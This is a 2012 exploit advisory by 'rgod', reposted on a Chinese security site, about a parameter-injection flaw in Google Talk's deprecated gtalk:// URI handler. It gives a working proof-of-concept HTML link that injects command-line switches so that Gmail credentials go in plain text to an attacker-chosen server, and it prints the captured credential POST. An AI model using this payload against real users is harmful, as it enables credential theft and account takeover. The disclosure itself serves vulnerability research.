首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Talk gtalk:// Deprecated Uri Handler Parameter Injection Vulnerability
来源:vfocus.net 作者:rgod 发布时间:2012-03-23  
Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability
tested against: Internet Explorer 8
                Microsoft Windows (all versions)
download url of 1.0.0.104:
http://www.google.com/talk/install.html
download urls of 1.0.0.105:
http://www.google.com/talk/intl/it/
http://www.google.com/talk/intl/fr/
http://www.google.com/talk/intl/de/
...
rgod: "Why two versions are downloadable on the internet at the same time?"
- Who is vulnerable?
  - More probably international users, non Eglish speaking one
- When this attack does not work:
    -when you install Google Talk 1.0.0.104
    -then you uninstall diligently 1.0.0.104
    -then you install 1.0.0.105
-When this attack works:
    -when you install Google Talk 1.0.0.104
    -then you install 1.0.0.105
     or
    -when you installed multiple times, never using the uninstall functionality
     which is the reality of it
-Why?
 Because 1.0.0.105 has not the gtalk:// uri handler functionality but the command line behaviour changed
 Indeeds, 1.0.0.104 or 1.0.0.105 are not vulnerable alone but 1.0.0.105, when installed, does not remove
 the old uri handler.
My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!"
rgod                   : "You are right, two steps are better than three"
Vulnerability: Injection of custom parameters
Google Talk 1.0.0.104 registers on windows a deprecated uri handler, registry dump:
[HKEY_CLASSES_ROOT\gtalk]
"URL Protocol"=""
[HKEY_CLASSES_ROOT\gtalk\shell]
[HKEY_CLASSES_ROOT\gtalk\shell\open]
[HKEY_CLASSES_ROOT\gtalk\shell\open\command]
@="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\""
By crafting a link a remote user can inject custom command line parameters.
injectable parameters:
/plaintextauth
Uses plain authentication mechanism
/gaiaserver [host:port]
Uses a different GAIA server to authenticate the client
/nomutex
Allows multiple instances of Google Talk
proof of concept:
<a href='gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a>
(???????????? ... are estethics, when prompted the victim does not see the other stuff)
Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network
or listening on that port:
POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk
Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk
password is plain text, urldecoded:
user: yout@gmail.com
pass: pass
Now you are done, you spiffed your password to the unknown (evil) world.
If you already logged in on gmail server olders credentials are sent without user interaction,
otherwise if the user tries to login manually credentials are sent aswell to the attacker server
//rgod - 7.39 21/03/2012
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco Linksys WVC200 Wireless-
·MS10-002 Internet Explorer Obj
·Ricoh DC Software DL-10 FTP Se
·Apple Safari On iOS 5.1 Addres
·Website Pro <= 3.1.13.0 "Refer
·Oreans WinLicense v2.1.8.0 XML
·ZyXEL FTP service Remote DDoS
·Oreans Themida v2.1.8.0 TMD Fi
·Dell Webcam CrazyTalk ActiveX
·FreePBX 2.10.0 / Elastix 2.2.0
·Internet Explorer (ExeC) Activ
·Spotify 0.8.2.610 (search func
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved